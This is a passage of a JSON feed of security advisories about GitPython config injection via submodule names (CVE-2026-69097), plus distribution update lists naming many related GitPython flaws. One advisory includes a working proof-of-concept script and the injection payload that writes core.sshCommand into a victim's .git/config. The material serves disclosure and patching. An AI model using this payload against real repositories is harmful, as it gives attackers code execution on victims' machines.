clone-driven path.","status":"published","published":"2026-07-24T16:22:02Z","modified":"2026-10-23T21:47:07Z","cvss":[{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:41:35.723785Z"},{"id":"GHSA-9xx9-hw38-h2w9","title":"Duplicate Advisory: GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","description":"# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-3rp5-jjmw-4wv2. This link is maintained to preserve external references.\n\n# Original Description\nGitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"withdrawn","published":"2026-08-03T15:32:49Z","modified":"2026-10-23T21:46:55Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:41:35.723785Z"}],"nvd":[{"id":"CVE-2026-69097","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"published","published":"2026-08-03T14:16:30.677Z","modified":"2026-10-23T21:10:00.157Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T14:12:34.643497Z"}],"osv":[{"id":"CVE-2026-69097","title":"GitPython before 3.1.53 Config Injection via Submodule Names","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"published","published":"2026-08-03T13:20:49.256Z","modified":"2026-10-28T02:30:37.899035139Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"DEBIAN-CVE-2026-69097","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"published","published":"2026-08-03T14:16:30.677Z","modified":"2026-10-31T14:00:08.316423047Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:02.094661Z"},{"id":"GHSA-3rp5-jjmw-4wv2","title":"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","description":"### Summary\n\nIn GitPython `\u003c= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -\u003e None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"\u003cname\u003e\"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name=\u003cuntrusted\u003e, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from(\u003chostile url\u003e)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f'x\"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand -\u003e\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      -\u003e\", header)\nprint(\"  git core.sshCommand -\u003e\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n  git core.sshCommand -\u003e (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n  written header      -\u003e [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -\u003e (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"\u003cname\u003e\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/\u003cname\u003e` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.","status":"published","published":"2026-07-24T16:22:02Z","modified":"2026-10-23T21:47:05Z","cvss":[{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:46:36.092962Z"},{"id":"GHSA-9xx9-hw38-h2w9","title":"Duplicate Advisory: GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","description":"# Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-3rp5-jjmw-4wv2. This link is maintained to preserve external references.\n\n# Original Description\nGitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"withdrawn","published":"2026-08-03T15:32:49Z","modified":"2026-10-23T22:00:03.737769298Z","cvss":[{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-74"],"updated_at":"2026-11-02T15:46:44.225359Z"},{"id":"OESA-2026-3353","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim\u0026apos;s .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.(CVE-2026-69097)","status":"published","published":"2026-08-13T14:00:33Z","modified":"2026-08-16T01:45:12.125343971Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3354","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim\u0026apos;s .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.(CVE-2026-69097)","status":"published","published":"2026-08-13T14:00:34Z","modified":"2026-08-16T01:45:12.080066678Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3439","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim\u0026apos;s .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.(CVE-2026-69097)","status":"published","published":"2026-08-20T09:58:07Z","modified":"2026-08-20T10:15:08.932269041Z","cvss":[{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"PYSEC-2026-3981","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"published","published":"2026-08-03T14:16:30.677Z","modified":"2026-09-17T09:00:03.367215284Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"UBUNTU-CVE-2026-69097","description":"GitPython before 3.1.53 fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names. Attackers can inject core.sshCommand or other dangerous config keys into the victim's .git/config via create_submodule or clone_from operations, achieving remote code execution when git performs ssh operations.","status":"published","published":"2026-08-03T14:16:00Z","modified":"2026-10-17T12:59:23.602289699Z","cvss":[{"version":"3.1","score":7,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":7.3,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:57.159276Z"},{"id":"CLSA-2026-1787718591","title":"TuxCare security update for gitpython (11 CVEs)","description":"TuxCare rebuilt gitpython to address 11 CVEs. Fixed in 3.1.31.post10+tuxcare.","status":"published","published":"2026-08-26T04:29:51Z","modified":"2026-10-27T13:43:12.834191331Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"openSUSE-SU-2026:11466-1","title":"python313-GitPython-3.1.58-1.1 on GA media","description":"These are all security issues fixed in the python313-GitPython-3.1.58-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-06T00:00:00Z","modified":"2026-08-07T10:00:24.591835647Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:21874-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-67322: environment-variable exfiltration in `Repo.clone_from()` URL via os.path.expandvars() (bsc#1273357).\n- CVE-2026-67323: unguarded Git options passed as keyword arguments in `Repo.archive()` and `git.ls_remote()` allow\n  for command injection (bsc#1273358).\n- CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation\n  feature and allows for bypass (bsc#1273359).\n- CVE-2026-67326: failure to validate newline characters in the section parameter of `config_writer()` can lead to\n  RCE via `core.hooksPath` (bsc#1273364).\n- CVE-2026-69097: failure to properly escape section names in Git `config` files allows for injection of arbitrary\n  configuration directives through malicious submodule names and can lead to RCE (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard Git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()`\n  and `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: failure to disable `merge_includes` when parsing `.gitmodules` can lead to discloseure of local file\n  contents when arbitrary file paths are included via `[include]` directives (bsc#1276434).\n- CVE-2026-78676: failure to safely re-serialize multi-line `git-config` values during write operations can corrupt\n  dormant quoted values into live injected directives (bsc#1276433).\n- CVE-2026-78677: omission of `--separate-git-dir` from `unsafe_git_clone_options` allows for creation of arbitrary git\n  directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: incomplete denylist in the `unsafe_git_revision_options` guard that omits `--contents` and `-S`\n  options allows for reading of arbitrary files when these options to are passed to `Repo.blame()` (bsc#1276431).\n- CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read\n  via `TagReference.create()` (bsc#1276430).\n- CVE-2026-87817: failure to properly validade the git directory location allows attackers to impersonate the git\n  directory using tracked files and execute arbitrary code by placing pre-commit hooks in the tracked hooks directory\n  (bsc#1279905).\n- CVE-2026-87818: failure to restrict the `--no-index` option in the high-level diff API allows attackers to read\n  arbitrary filesystem paths as repository operands and create content-dependent Boolean oracles (bsc#1279906).\n- CVE-2026-87819: quadratic backtracking in the `Actor.name_email_regex` regular expression allows attackers to cause\n  CPU exhaustion and a DoS via a commit with a malformed author field (bsc#1279907).\n- GitPython unsafe clone option gate bypass through joined short options (bsc#1273498).\n","status":"published","published":"2026-09-18T06:05:46Z","modified":"2026-09-25T18:23:10.581109055Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-PYPI-GHSA-3rp5-jjmw-4wv2","title":"GHSA-3rp5-jjmw-4wv2 in GitPython - Patched by Root","description":"Root has patched GHSA-3rp5-jjmw-4wv2 in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:05.775309752Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:4072-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).\n- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and\n  git.ls_remote() (bsc#1273358).\n- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix\n  abbreviation feature (bsc#1273359).\n- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).\n- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary\n  configuration directives through malicious submodule names (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()` and\n  `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file\n  content by including arbitrary file paths via [include] directives (bsc#1276434).\n- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant\n  quoted values into injected directives (bsc#1276433).\n- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options,\n  allowing attackers to read arbitrary files (bsc#1276431).\n- CVE-2026-78679: an arbitrary file read vulnerability in TagReference.create() (bsc#1276430).\n","status":"published","published":"2026-09-08T07:07:35Z","modified":"2026-09-13T18:23:19.85902049Z","updated_at":"2026-11-02T15:54:05.392906Z"}]}}
